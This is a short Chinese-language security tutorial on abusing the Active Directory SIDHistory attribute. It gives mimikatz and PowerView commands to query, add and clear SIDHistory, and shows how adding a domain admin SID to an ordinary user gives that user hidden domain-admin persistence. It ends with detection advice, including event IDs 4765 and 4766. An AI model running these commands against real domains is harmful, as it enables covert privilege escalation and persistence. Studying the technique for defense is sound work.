文章目录
1. 前言
SIDHistory属性的存在是为了解决用户在迁移到另一个域中的时候权限会改变的问题。例如用户zhangsan在A域中本来是管理员,迁移到B域的时候因为sid的改变有可能会变成普通用户权限,这时候如果给zhangsan用户添加一个值为zhangsan在A域中的SID的SIDHistory值就可以解决这个问题,只有域管有更改SIDHistory的权利
。
2.对某用户的SIDHistory属性进行操作
以下操作都必须得在域控的权限下进行
2.1 查询zhangsan的SIDHistory
使用mimikatz
sid::query /sam:zhangsan
使用powerview
Set-ExecutionPolicy Bypass -Scope Process
. .\PowerView.ps1
Get-ADUser zhangsan -Properties sidhistory
2.2 给zhangsan用户添加域管的sid
privilege::debug
sid::patch
sid::add /sam:zhangsan /new:administrator
sid::query /sam:zhangsan
2.3 删除zhangsan的SIDHistory属性
sid::clear /sam:zhangsan # 清除SID History
发现SIDHistory已经消失。
3.利用思路
我认为共有两种利用思路,第一种是给域内低权限用户配置SIDHistory让其拥有域控权限。第二种方式是渗透测试的途中发现某个用户的SIDHistory是高权限的sid,那么这个用户就直接具有了高权限。
3.1 权限维持
如果已经拿到域控权限,可以给域内一个普通账号配置sidhistory,这样子域内的普通账号也就具备了域控的权限,具体操作方法上面也已经写过了。
3.2 利用当前用户的sidhistory属性
通过powerview直接查询域内具有sidhistory属性的用户:
Set-ExecutionPolicy Bypass -Scope Process
. .\PowerView.ps1
Get-DomainUser | select sidhistory,cn
如下图所示,如果当前控制的用户是zhangsan,那我们就直接拥有了域控的权限(域控权限的RID)是500,也可以直接访问域控的C$:
防御方法
1.经常检查域用户中SID为500的用户,对这些用户的行为进行跟踪。
2.完成域迁移工作后,对有相同SID History属性的用户进行检查。
3.定期检查ID为4765和4766的日志,4765为将SID History属性添加到用户的日志;4766为将SID History属性添加到用户失败的日志。